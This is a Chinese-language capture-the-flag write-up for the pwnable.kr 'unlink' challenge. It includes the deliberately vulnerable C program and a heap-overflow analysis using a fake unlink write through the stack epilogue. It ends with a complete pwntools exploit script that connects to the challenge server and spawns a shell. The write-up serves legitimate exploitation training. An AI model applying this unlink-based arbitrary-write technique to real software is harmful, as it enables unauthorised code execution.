pwnable.kr unlink writeup
题目描述
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
typedef struct tagOBJ{
struct tagOBJ* fd;
struct tagOBJ* bk;
char buf[8];
}OBJ;
void shell(){
system("/bin/sh");
}
void unlink(OBJ* P){
OBJ* BK;
OBJ* FD;
BK=P->bk;
FD=P->fd;
FD->bk=BK;
BK->fd=FD;
}
int main(int argc, char* argv[]){
malloc(1024);
OBJ* A = (OBJ*)malloc(sizeof(OBJ));
OBJ* B = (OBJ*)malloc(sizeof(OBJ));
OBJ* C = (OBJ*)malloc(sizeof(OBJ));
// double linked list: A <-> B <-> C
A->fd = B;
B->bk = A;
B->fd = C;
C->bk = B;
printf("here is stack address leak: %p\n", &A);
printf("here is heap address leak: %p\n", A);
printf("now that you have leaks, get shell!\n");
// heap overflow!
gets(A->buf);
// exploit this unlink!
unlink(B);
return 0;
}
题目分析
程序逻辑
程序创建了三个fast chunk,并用A B C 三个(*tagOBJ)的结构体指针指向chunk的内容。并让A B C 构成一个双向链表,之后模拟unlink操作将B解链。
漏洞信息
FD->bk=BK; // FD+4 = BK
BK->fd=FD; // BK = FD
由于chunk A的buf发生了堆溢出,因此可以伪造chunkB 的 FD和BK,unlink时造成任意地址写。
一个错误的思路是修改FD为ebp的地址,BK为function shell的地址。在FD->bk=BK;时,修改ret address为function shell的地址,但在BK->fd=FD; 时,由于function shell处不可写,因此不可利用。
因此,难点在于FD+4和BK的必须要是可写的。FD+4和BK的值都要是可写的。function unlink结束后程序就退出了,因此unlink的操作必须修改返回地址。分为两种情况 :
-
覆盖FD = ret_addr - 4
此时BK为下一条指令的地址,并且该地址可写。但是函数返回之后跳转到BK,又要求该地址可执行。程序中找不到可写可执行的地址。
-
覆盖BK = ret_addr
此时FD为下一条指令的地址,并且FD+4可写。同样,也几乎找不到这样的FD地址。
似乎陷入了僵局,堆溢出触发的unlink操作对FD和BK的要求很高,直接修改ret_addr失败。
重新查看了一下程序的反汇编代码,发现程序在ret时的操作有些奇怪。ret后,调用的是[ebp-4]-4 指向的地址的指令。虽然不能直接用unlink修改ret_addr,可以考虑修改[ebp-4]来间接修改ret_addr。
.text:080485F2 call unlink
.text:080485F7 add esp, 10h
.text:080485FA mov eax, 0
.text:080485FF mov ecx, [ebp+var_4]
.text:08048602 leave
.text:08048603 lea esp, [ecx-4]
.text:08048606 retn
若retn后指向function shell,则:
- 要求 esp -> shell # 0x80484eb // esp = &shell_addr
- 要求 ecx -4 -> shell # 0x80484eb // ecx -4 = &shell_addr
- ecx = [ebp-4] ,要求[ebp-4] 为&shell_addr+4。
利用unlink 将[ebp-4] 写为&shell_addr+4 :
FD = ebp-4 -4 (栈中的地址)
BK = &shell_addr+4 (可在堆中写入shell_addr,&shell_addr+4为在堆中的地址)
则FD->bk = BK:
ebp-4-4 +4 = &shell_addr+4
exp
from pwn import *
remote = 1
if remote :
s = ssh(host='pwnable.kr', port=2222, user='unlink', password='guest' )
p = s.process('./unlink')
else:
p = process('./unlink')
# leak = r.recvuntil('shell!\n')
# stack_addr = int(leak.split('leak: 0x')[1][:8], 16)
# heap_addr = int(leak.split('leak: 0x')[2][:8], 16)
stack_addr = p.recvuntil('ere is stack address leak: ')
stack_addr = int(p.recv(10),16)
log.info(hex(stack_addr))
heap_addr = p.recvuntil('here is heap address leak: ')
heap_addr = int(p.recv(10),16)
log.info(hex(heap_addr))
shell_addr = 0x080484EB
payload = p32(shell_addr) + 'A'*0x4 + '\x00'*0x4 + p32(0x19) + p32(stack_addr + 0x14 -0x4-0x4) + p32(heap_addr+0x8 +0x4)
#gdb.attach(pidof(p)[0],'b *0x080485F2')
p.sendline(payload)
p.interactive()
总结
unlink操作要求FD BK均可写。本题的关键在于,发现ret的地址是[ebp-4] -4 指向的地址,因此可以构造一个在heap中的二级指针(可写),这样才满足unlink中FD和BK均可写的条件。